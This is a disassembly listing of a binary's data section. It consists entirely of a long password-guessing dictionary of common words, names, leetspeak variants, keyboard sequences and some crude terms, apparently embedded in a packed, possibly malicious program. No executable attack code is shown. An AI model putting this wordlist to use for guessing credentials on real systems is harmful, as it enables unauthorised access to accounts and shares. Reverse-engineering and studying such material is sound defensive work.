asc_42929C	db '--',0               ; DATA XREF: .nsp0:00427E94o
					; .nsp0:00427E98o
		align 10h
asc_4292A0:				; DATA XREF: .nsp0:00427E90o
		unicode	0, <->,0
asc_4292A4	db '++++',0             ; DATA XREF: .nsp0:00427E8Co
		align 4
asc_4292AC	db '+++',0              ; DATA XREF: .nsp0:00427E88o
asc_4292B0	db '++',0               ; DATA XREF: .nsp0:00427E84o
		align 4
asc_4292B4:				; DATA XREF: .nsp0:00427E80o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .nsp0:00427E7Co
		align 4
a@_6:					; DATA XREF: sub_401AA1+22Co
					; .nsp0:00427E78o
		unicode	0, <@>,0
off_4292C0	dd offset loc_402120+1	; DATA XREF: .nsp0:00427E74o
dword_4292C4	dd 2121h		; DATA XREF: .nsp0:00427E70o
dword_4292C8	dd 23h			; DATA XREF: sub_401AA1+752o
					; sub_40BA94+1Bo ...
dword_4292CC	dd 24234021h, 2A265E25h, 0 ; DATA XREF:	.nsp0:00427E68o
dword_4292D8	dd 24234021h, 265E25h	; DATA XREF: .nsp0:00427E64o
dword_4292E0	dd 24234021h, 5E25h	; DATA XREF: .nsp0:00427E60o
dword_4292E8	dd 24234021h, 25h	; DATA XREF: .nsp0:00427E5Co
dword_4292F0	dd 234021h		; DATA XREF: .nsp0:00427E58o
dword_4292F4	dd 4021h		; DATA XREF: .nsp0:00427E54o
dword_4292F8	dd 21h			; DATA XREF: sub_401AA1+18Co
					; sub_401AA1+6F33o ...
dword_4292FC	dd 25h			; DATA XREF: .nsp0:00427E4Co
aZimmerman	db 'zimmerman',0        ; DATA XREF: .nsp0:00427E48o
		align 4
aZap		db 'zap',0              ; DATA XREF: .nsp0:00427E44o
aYellowstone	db 'yellowstone',0      ; DATA XREF: .nsp0:00427E40o
aXyz		db 'xyz',0              ; DATA XREF: .nsp0:00427E3Co
					; .nsp0:00428334o
aWisconsin	db 'wisconsin',0        ; DATA XREF: .nsp0:00427E38o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .nsp0:00427E34o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: .nsp0:00427E30o
		align 4
aTty		db 'tty',0              ; DATA XREF: .nsp0:00427E2Co
aTopography	db 'topography',0       ; DATA XREF: .nsp0:00427E28o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .nsp0:00427E24o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: .nsp0:00427E20o
		align 10h
aTangerine	db 'tangerine',0        ; DATA XREF: .nsp0:00427E1Co
		align 4
aSys		db 'sys',0              ; DATA XREF: .nsp0:00427E18o
aSupported	db 'supported',0        ; DATA XREF: .nsp0:00427E14o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .nsp0:00427E10o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .nsp0:00427E0Co
		align 4
aSun		db 'sun',0              ; DATA XREF: .nsp0:00427E08o
aStuttgart	db 'stuttgart',0        ; DATA XREF: .nsp0:00427E04o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: .nsp0:00427E00o
		align 10h
aStephanie	db 'stephanie',0        ; DATA XREF: .nsp0:00427DFCo
		align 4
aSignature	db 'signature',0        ; DATA XREF: .nsp0:00427DF8o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: .nsp0:00427DF4o
		align 4
aSal		db 'sal',0              ; DATA XREF: .nsp0:00427DF0o
aRochester	db 'rochester',0        ; DATA XREF: .nsp0:00427DECo
		align 4
aRje		db 'rje',0              ; DATA XREF: .nsp0:00427DE8o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .nsp0:00427DE4o
		align 4
aPub		db 'pub',0              ; DATA XREF: .nsp0:00427DE0o
aProfessor	db 'professor',0        ; DATA XREF: .nsp0:00427DDCo
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: .nsp0:00427DD8o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: .nsp0:00427DD4o
		align 10h
aPolynomial	db 'polynomial',0       ; DATA XREF: .nsp0:00427DD0o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: .nsp0:00427DCCo
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: .nsp0:00427DC8o
		align 4
aPam		db 'pam',0              ; DATA XREF: .nsp0:00427DC4o
aPad		db 'pad',0              ; DATA XREF: .nsp0:00427DC0o
aOceanography	db 'oceanography',0     ; DATA XREF: .nsp0:00427DBCo
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: .nsp0:00427DB8o
		align 4
aNew		db 'new',0              ; DATA XREF: .nsp0:00427DB4o
aNet		db 'net',0              ; DATA XREF: sub_401AA1+3C99o
					; .nsp0:00427DB0o
aMit		db 'mit',0              ; DATA XREF: .nsp0:00427DACo
aMgr		db 'mgr',0              ; DATA XREF: .nsp0:00427DA8o
aMacintosh	db 'macintosh',0        ; DATA XREF: .nsp0:00427DA4o
		align 4
aLiz		db 'liz',0              ; DATA XREF: .nsp0:00427DA0o
aLee		db 'lee',0              ; DATA XREF: .nsp0:00427D9Co
aLamination	db 'lamination',0       ; DATA XREF: .nsp0:00427D98o
		align 4
aKim		db 'kim',0              ; DATA XREF: .nsp0:00427D94o
aKey		db 'key',0              ; DATA XREF: sub_401AA1+149Bo
					; .nsp0:00427D90o
aJoy		db 'joy',0              ; DATA XREF: .nsp0:00427D8Co
aJen		db 'jen',0              ; DATA XREF: .nsp0:00427D88o
aInnocuous	db 'innocuous',0        ; DATA XREF: .nsp0:00427D84o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: .nsp0:00427D80o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .nsp0:00427D7Co
aHappening	db 'happening',0        ; DATA XREF: .nsp0:00427D78o
		align 10h
aHal		db 'hal',0              ; DATA XREF: .nsp0:00427D74o
aGnu		db 'gnu',0              ; DATA XREF: .nsp0:00427D70o
aFun		db 'fun',0              ; DATA XREF: .nsp0:00427D6Co
aForesight	db 'foresight',0        ; DATA XREF: .nsp0:00427D68o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: .nsp0:00427D64o
		align 4
aExtension	db 'extension',0        ; DATA XREF: .nsp0:00427D60o
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: .nsp0:00427D5Co
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .nsp0:00427D58o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: .nsp0:00427D54o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: .nsp0:00427D50o
		align 10h
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .nsp0:00427D4Co
		align 4
aDos		db 'dos',0              ; DATA XREF: .nsp0:00427D48o
aDog		db 'dog',0              ; DATA XREF: .nsp0:00427D44o
aDiscovery	db 'discovery',0        ; DATA XREF: .nsp0:00427D40o
		align 10h
aDesperate	db 'desperate',0        ; DATA XREF: .nsp0:00427D3Co
		align 4
aDeb		db 'deb',0              ; DATA XREF: .nsp0:00427D38o
aCornelius	db 'cornelius',0        ; DATA XREF: .nsp0:00427D34o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: .nsp0:00427D30o
		align 4
aChristine	db 'christine',0        ; DATA XREF: .nsp0:00427D2Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: .nsp0:00427D28o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: .nsp0:00427D24o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: .nsp0:00427D20o
		align 4
aCat		db 'cat',0              ; DATA XREF: .nsp0:00427D1Co
aCampanile	db 'campanile',0        ; DATA XREF: .nsp0:00427D18o
		align 4
aCad		db 'cad',0              ; DATA XREF: .nsp0:00427D14o
aBsd		db 'bsd',0              ; DATA XREF: .nsp0:00427D10o
aBob		db 'bob',0              ; DATA XREF: .nsp0:00427D0Co
aBicameral	db 'bicameral',0        ; DATA XREF: .nsp0:00427D08o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: .nsp0:00427D04o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .nsp0:00427D00o
		align 4
aAsm		db 'asm',0              ; DATA XREF: .nsp0:00427CFCo
aAsd		db 'asd',0              ; DATA XREF: .nsp0:00427CF8o
					; .nsp0:00428364o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .nsp0:00427CF4o
		align 10h
aAnn		db 'ann',0              ; DATA XREF: .nsp0:00427CF0o
aAndromache	db 'andromache',0       ; DATA XREF: .nsp0:00427CECo
		align 10h
aAmy		db 'amy',0              ; DATA XREF: .nsp0:00427CE8o
aAmorphous	db 'amorphous',0        ; DATA XREF: .nsp0:00427CE4o
		align 10h
aAma		db 'ama',0              ; DATA XREF: .nsp0:00427CE0o
aAlf		db 'alf',0              ; DATA XREF: .nsp0:00427CDCo
aAlbatross	db 'albatross',0        ; DATA XREF: .nsp0:00427CD8o
		align 4
aAda		db 'ada',0              ; DATA XREF: .nsp0:00427CD4o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .nsp0:00427CD0o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .nsp0:00427CCCo
		align 10h
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .nsp0:00427CC8o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: .nsp0:00427CC4o
		align 10h
aHax		db 'hax',0              ; DATA XREF: .nsp0:00427CC0o
aWh0re		db 'wh0re',0            ; DATA XREF: .nsp0:00427CBCo
		align 4
aHo		db 'ho',0               ; DATA XREF: .nsp0:00427CB8o
		align 10h
aWh0r3		db 'wh0r3',0            ; DATA XREF: .nsp0:00427CB4o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .nsp0:00427CB0o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .nsp0:00427CACo
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: .nsp0:00427CA8o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .nsp0:00427CA4o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: .nsp0:00427CA0o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .nsp0:00427C9Co
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: .nsp0:00427C98o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: .nsp0:00427C94o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .nsp0:00427C90o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .nsp0:00427C8Co
		align 10h
aMs		db 'MS',0               ; DATA XREF: .nsp0:00427C88o
		align 4
aM_0		db 'M$',0               ; DATA XREF: .nsp0:00427C84o
		align 4
aBilly		db 'billy',0            ; DATA XREF: .nsp0:00427C80o
		align 10h
aWindose	db 'windose',0          ; DATA XREF: .nsp0:00427C7Co
aWindoze	db 'windoze',0          ; DATA XREF: .nsp0:00427C78o
aWindowz	db 'windowz',0          ; DATA XREF: .nsp0:00427C74o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .nsp0:00427C70o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .nsp0:00427C6Co
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: .nsp0:00427C68o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .nsp0:00427C64o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .nsp0:00427C60o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .nsp0:00427C5Co
aD00d		db 'd00d',0             ; DATA XREF: .nsp0:00427C58o
		align 4
aLol		db 'lol',0              ; DATA XREF: .nsp0:00427C54o
					; .nsp0:0043B458o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .nsp0:00427C50o
		align 10h
aRoscop		db 'RoscoP',0           ; DATA XREF: .nsp0:00427C4Co
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: .nsp0:00427C48o
		align 10h
aRoss		db 'Ross',0             ; DATA XREF: .nsp0:00427C44o
		align 4
aTestin		db 'testin',0           ; DATA XREF: .nsp0:00427C40o
		align 10h
aTester		db 'tester',0           ; DATA XREF: .nsp0:00427C3Co
		align 4
a00000000	db '00000000',0         ; DATA XREF: .nsp0:00427C38o
					; .nsp0:00427EF4o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: .nsp0:00427C34o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .nsp0:00427C30o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: .nsp0:00427C2Co
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .nsp0:00427C28o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: .nsp0:00427C24o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .nsp0:00427C20o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .nsp0:00427C1Co
		align 4
aYoung		db 'young',0            ; DATA XREF: .nsp0:00427C18o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: .nsp0:00427C14o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: .nsp0:00427C10o
aYellowst	db 'yellowst',0         ; DATA XREF: .nsp0:00427C0Co
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .nsp0:00427C08o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .nsp0:00427C04o
		align 4
aYang		db 'yang',0             ; DATA XREF: .nsp0:00427C00o
					; .nsp0:0042833Co
		align 4
aYaco		db 'yaco',0             ; DATA XREF: .nsp0:00427BFCo
					; .nsp0:00428338o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .nsp0:00427BF8o
		align 4
aXray		db 'xray',0             ; DATA XREF: .nsp0:00427BF4o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .nsp0:00427BF0o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .nsp0:00427BECo
		align 4
aXman		db 'xman',0             ; DATA XREF: .nsp0:00427BE8o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .nsp0:00427BE4o
		align 4
aXena		db 'xena',0             ; DATA XREF: .nsp0:00427BE0o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .nsp0:00427BDCo
aWwii		db 'wwii',0             ; DATA XREF: .nsp0:00427BD8o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .nsp0:00427BD4o
		align 10h
aWorm		db 'worm',0             ; DATA XREF: .nsp0:00427BD0o
		align 4
aWork		db 'work',0             ; DATA XREF: .nsp0:00427BCCo
		align 10h
aWorf		db 'worf',0             ; DATA XREF: .nsp0:00427BC8o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: .nsp0:00427BC4o
		align 4
aWord		db 'word',0             ; DATA XREF: .nsp0:00427BC0o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .nsp0:00427BBCo
		align 4
aWood		db 'wood',0             ; DATA XREF: .nsp0:00427BB8o
		align 10h
aWomen		db 'women',0            ; DATA XREF: .nsp0:00427BB4o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: .nsp0:00427BB0o
		align 10h
aWoman		db 'woman',0            ; DATA XREF: .nsp0:00427BACo
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: .nsp0:00427BA8o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: .nsp0:00427BA4o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .nsp0:00427BA0o
		align 4
aWithin		db 'within',0           ; DATA XREF: .nsp0:00427B9Co
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .nsp0:00427B98o
aWisconsi	db 'wisconsi',0         ; DATA XREF: .nsp0:00427B94o
		align 10h
aWired		db 'wired',0            ; DATA XREF: .nsp0:00427B90o
		align 4
aWinston	db 'winston',0          ; DATA XREF: .nsp0:00427B8Co
aWing		db 'wing',0             ; DATA XREF: .nsp0:00427B88o
		align 4
aWine		db 'wine',0             ; DATA XREF: .nsp0:00427B84o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: .nsp0:00427B80o
aWilma		db 'wilma',0            ; DATA XREF: .nsp0:00427B7Co
		align 10h
aWillie		db 'willie',0           ; DATA XREF: .nsp0:00427B78o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: .nsp0:00427B74o
		align 4
aWilliam	db 'william',0          ; DATA XREF: .nsp0:00427B70o
aWill		db 'will',0             ; DATA XREF: .nsp0:00427B6Co
		align 4
aWhore		db 'whore',0            ; DATA XREF: .nsp0:00427B68o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .nsp0:00427B64o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: .nsp0:00427B60o
aWhiting	db 'whiting',0          ; DATA XREF: .nsp0:00427B5Co
aWhite		db 'white',0            ; DATA XREF: .nsp0:00427B58o
		align 10h
aWhisky		db 'whisky',0           ; DATA XREF: .nsp0:00427B54o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: .nsp0:00427B50o
aWhatever	db 'whatever',0         ; DATA XREF: .nsp0:00427B4Co
		align 4
aWestern	db 'western',0          ; DATA XREF: .nsp0:00427B48o
aWest		db 'west',0             ; DATA XREF: .nsp0:00427B44o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .nsp0:00427B40o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: .nsp0:00427B3Co
		align 10h
aWendi		db 'wendi',0            ; DATA XREF: .nsp0:00427B38o
		align 4
aWell		db 'well',0             ; DATA XREF: .nsp0:00427B34o
		align 10h
aWeenie		db 'weenie',0           ; DATA XREF: .nsp0:00427B30o
		align 4
aWeed		db 'weed',0             ; DATA XREF: .nsp0:00427B2Co
		align 10h
aWednesda	db 'wednesda',0         ; DATA XREF: .nsp0:00427B28o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .nsp0:00427B24o
aWave		db 'wave',0             ; DATA XREF: .nsp0:00427B20o
		align 4
aWater		db 'water',0            ; DATA XREF: .nsp0:00427B1Co
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .nsp0:00427B18o
		align 10h
aWasp		db 'wasp',0             ; DATA XREF: .nsp0:00427B14o
		align 4
aWarren		db 'warren',0           ; DATA XREF: .nsp0:00427B10o
		align 10h
aWarp		db 'warp',0             ; DATA XREF: .nsp0:00427B0Co
		align 4
aWargames	db 'wargames',0         ; DATA XREF: .nsp0:00427B08o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: .nsp0:00427B04o
aWarez		db 'warez',0            ; DATA XREF: .nsp0:00427B00o
		align 4
aWard		db 'ward',0             ; DATA XREF: .nsp0:00427AFCo
		align 4
aWaco		db 'waco',0             ; DATA XREF: .nsp0:00427AF8o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: .nsp0:00427AF4o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: .nsp0:00427AF0o
		align 4
aVisual		db 'visual',0           ; DATA XREF: .nsp0:00427AECo
		align 10h
aVisitor	db 'visitor',0          ; DATA XREF: .nsp0:00427AE8o
aVirus		db 'virus',0            ; DATA XREF: .nsp0:00427AE4o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: .nsp0:00427AE0o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: .nsp0:00427ADCo
		align 4
aVillage	db 'village',0          ; DATA XREF: .nsp0:00427AD8o
aVideogam	db 'videogam',0         ; DATA XREF: .nsp0:00427AD4o
		align 4
aVideo		db 'video',0            ; DATA XREF: .nsp0:00427AD0o
		align 10h
aVictor		db 'victor',0           ; DATA XREF: .nsp0:00427ACCo
		align 4
aVicky		db 'vicky',0            ; DATA XREF: .nsp0:00427AC8o
		align 10h
aVertigo	db 'vertigo',0          ; DATA XREF: .nsp0:00427AC4o
aVeronica	db 'veronica',0         ; DATA XREF: .nsp0:00427AC0o
		align 4
aVenus		db 'venus',0            ; DATA XREF: .nsp0:00427ABCo
		align 4
aVasant		db 'vasant',0           ; DATA XREF: .nsp0:00427AB8o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: .nsp0:00427AB4o
aValerie	db 'valerie',0          ; DATA XREF: .nsp0:00427AB0o
aVagina		db 'vagina',0           ; DATA XREF: .nsp0:00427AACo
		align 4
aUucp		db 'uucp',0             ; DATA XREF: .nsp0:00427AA8o
		align 4
aUtility	db 'utility',0          ; DATA XREF: .nsp0:00427AA4o
aUtil		db 'util',0             ; DATA XREF: .nsp0:00427AA0o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: .nsp0:00427A9Co
		align 4
aUsername	db 'username',0         ; DATA XREF: .nsp0:00427A98o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .nsp0:00427A94o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: .nsp0:00427A90o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: .nsp0:00427A8Co
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: .nsp0:00427A88o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: .nsp0:00427A84o
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401AA1+4F6Do
					; .nsp0:00427A80o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: .nsp0:00427A7Co
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: .nsp0:00427A78o
aUniversi	db 'universi',0         ; DATA XREF: .nsp0:00427A74o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: .nsp0:00427A70o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: .nsp0:00427A6Co
		align 10h
aUniform	db 'uniform',0          ; DATA XREF: .nsp0:00427A68o
aUnicorn	db 'unicorn',0          ; DATA XREF: .nsp0:00427A64o
aUnhappy	db 'unhappy',0          ; DATA XREF: .nsp0:00427A60o
aUndo		db 'undo',0             ; DATA XREF: .nsp0:00427A5Co
		align 10h
aUncle		db 'uncle',0            ; DATA XREF: .nsp0:00427A58o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: .nsp0:00427A54o
		align 10h
aUgly		db 'ugly',0             ; DATA XREF: .nsp0:00427A50o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: .nsp0:00427A4Co
		align 10h
aTurn		db 'turn',0             ; DATA XREF: .nsp0:00427A48o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: .nsp0:00427A44o
aTubas		db 'tubas',0            ; DATA XREF: .nsp0:00427A40o
		align 4
aTruth		db 'truth',0            ; DATA XREF: .nsp0:00427A3Co
		align 10h
aTrue		db 'true',0             ; DATA XREF: .nsp0:00427A38o
		align 4
aTron		db 'tron',0             ; DATA XREF: .nsp0:00427A34o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: .nsp0:00427A30o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: .nsp0:00427A2Co
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: .nsp0:00427A28o
aTrisha		db 'trisha',0           ; DATA XREF: .nsp0:00427A24o
		align 4
aTrek		db 'trek',0             ; DATA XREF: .nsp0:00427A20o
		align 4
aTree		db 'tree',0             ; DATA XREF: .nsp0:00427A1Co
					; .nsp0:0043B2ECo
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: .nsp0:00427A18o
		align 10h
aTrap		db 'trap',0             ; DATA XREF: .nsp0:00427A14o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: .nsp0:00427A10o
		align 4
aTrails		db 'trails',0           ; DATA XREF: .nsp0:00427A0Co
		align 4
aTracy		db 'tracy',0            ; DATA XREF: .nsp0:00427A08o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: .nsp0:00427A04o
		align 4
aTraci		db 'traci',0            ; DATA XREF: .nsp0:00427A00o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: .nsp0:004279FCo
		align 4
aToxic		db 'toxic',0            ; DATA XREF: .nsp0:004279F8o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: .nsp0:004279F4o
		align 10h
aTopograp	db 'topograp',0         ; DATA XREF: .nsp0:004279F0o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: .nsp0:004279ECo
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: .nsp0:004279E8o
		align 10h
aToken		db 'token',0            ; DATA XREF: .nsp0:004279E4o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: .nsp0:004279E0o
		align 10h
aToad		db 'toad',0             ; DATA XREF: .nsp0:004279DCo
		align 4
aTits		db 'tits',0             ; DATA XREF: .nsp0:004279D8o
		align 10h
aTina		db 'tina',0             ; DATA XREF: .nsp0:004279D4o
		align 4
aTime		db 'time',0             ; DATA XREF: .nsp0:004279D0o
		align 10h
aTiger		db 'tiger',0            ; DATA XREF: .nsp0:004279CCo
					; .nsp0:00428300o
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: .nsp0:004279C8o
aThursday	db 'thursday',0         ; DATA XREF: .nsp0:004279C4o
		align 4
aThin		db 'thin',0             ; DATA XREF: .nsp0:004279C0o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: .nsp0:004279BCo
aThailand	db 'thailand',0         ; DATA XREF: .nsp0:004279B8o
		align 4
aText		db 'text',0             ; DATA XREF: .nsp0:004279B4o
		align 10h
aTetris		db 'tetris',0           ; DATA XREF: .nsp0:004279B0o
		align 4
aTess		db 'tess',0             ; DATA XREF: .nsp0:004279ACo
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: .nsp0:004279A8o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: .nsp0:004279A4o
		align 4
aTera		db 'tera',0             ; DATA XREF: .nsp0:004279A0o
		align 10h
aTennis		db 'tennis',0           ; DATA XREF: .nsp0:0042799Co
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: .nsp0:00427998o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: .nsp0:00427994o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: .nsp0:00427990o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: .nsp0:0042798Co
aTeen		db 'teen',0             ; DATA XREF: .nsp0:00427988o
		align 4
aTech		db 'tech',0             ; DATA XREF: .nsp0:00427984o
		align 10h
aTears		db 'tears',0            ; DATA XREF: .nsp0:00427980o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: .nsp0:0042797Co
		align 10h
aTeam		db 'team',0             ; DATA XREF: .nsp0:00427978o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: .nsp0:00427970o
		align 10h
aTarragon	db 'tarragon',0         ; DATA XREF: .nsp0:0042796Co
		align 4
aTarget		db 'target',0           ; DATA XREF: .nsp0:00427968o
		align 4
aTara		db 'tara',0             ; DATA XREF: .nsp0:00427964o
		align 4
aTape		db 'tape',0             ; DATA XREF: .nsp0:00427960o
		align 4
aTango		db 'tango',0            ; DATA XREF: .nsp0:0042795Co
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: .nsp0:00427958o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: .nsp0:00427954o
		align 10h
aTamie		db 'tamie',0            ; DATA XREF: .nsp0:00427950o
		align 4
aTami		db 'tami',0             ; DATA XREF: .nsp0:0042794Co
		align 10h
aTamara		db 'tamara',0           ; DATA XREF: .nsp0:00427948o
		align 4
aTall		db 'tall',0             ; DATA XREF: .nsp0:00427944o
		align 10h
aTalk		db 'talk',0             ; DATA XREF: .nsp0:00427940o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: .nsp0:0042793Co
aSysop		db 'sysop',0            ; DATA XREF: .nsp0:00427938o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: .nsp0:00427934o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .nsp0:00427930o
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: .nsp0:0042792Co
		align 4
aSword		db 'sword',0            ; DATA XREF: .nsp0:00427928o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: .nsp0:00427924o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: .nsp0:00427920o
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: .nsp0:0042791Co
aSuzie		db 'suzie',0            ; DATA XREF: .nsp0:00427918o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: .nsp0:00427914o
aSusie		db 'susie',0            ; DATA XREF: .nsp0:00427910o
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: .nsp0:0042790Co
aSusan		db 'susan',0            ; DATA XREF: .nsp0:00427908o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: .nsp0:00427904o
aSurfer		db 'surfer',0           ; DATA XREF: .nsp0:00427900o
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: .nsp0:004278FCo
		align 4
aSupport	db 'support',0          ; DATA XREF: .nsp0:004278F8o
aSupervis	db 'supervis',0         ; DATA XREF: .nsp0:004278F4o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: .nsp0:004278F0o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .nsp0:004278ECo
		align 4
aSuperson	db 'superson',0         ; DATA XREF: .nsp0:004278E8o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .nsp0:004278E4o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: .nsp0:004278E0o
		align 4
aSummer		db 'summer',0           ; DATA XREF: .nsp0:004278DCo
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: .nsp0:004278D8o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .nsp0:004278D4o
		align 4
aSuck		db 'suck',0             ; DATA XREF: .nsp0:004278D0o
		align 4
aSuccess	db 'success',0          ; DATA XREF: .nsp0:004278CCo
aSubway		db 'subway',0           ; DATA XREF: .nsp0:004278C8o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .nsp0:004278C4o
		align 4
